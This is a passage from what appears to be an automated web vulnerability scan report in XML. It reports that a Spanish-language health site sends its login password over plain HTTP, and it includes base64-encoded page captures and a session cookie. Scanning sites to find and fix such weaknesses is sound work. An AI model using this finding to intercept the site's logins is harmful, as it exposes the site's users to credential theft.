ZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
42 <responseRedirected>false</responseRedirected>
43 </requestresponse>
44 </issue>
45 <issue>
46 <serialNumber>7694445463187357696</serialNumber>
47 <type>3145984</type>
48 <name>Cleartext submission of password</name>
49 <host ip="200.20.20.201">http://www.example.org.ar</host>
50 <path><![CDATA[/]]></path>
51 <location><![CDATA[/]]></location>
52 <severity>High</severity>
53 <confidence>Certain</confidence>
54 <issueBackground><![CDATA[Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches. ]]></issueBackground>
55 <remediationBackground><![CDATA[The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.]]></remediationBackground>
56 <issueDetail><![CDATA[The page contains a form with the following action URL, which is submitted over clear-text HTTP:<ul><li>http://www.example.org.ar/login.php</li></ul>The form contains the following password field:<ul><li>pass</li></ul>]]></issueDetail>
57 <requestresponse>
58 <request base64="true"><![CDATA[R0VUIC8gSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjg7IHJ2OjIzLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMjMuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo=]]></request>
59 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjEyOjAyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KU2V0LUNvb2tpZTogUEhQU0VTU0lEPTk0NTg1YWEwYzExY2YyZTg2NGQ4M2UyNDY3OGI5ODY1OyBwYXRoPS8NCktlZXAtQWxpdmU6IHRpbWVvdXQ9MjAsIG1heD0yMDANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0IGNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcmdpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdo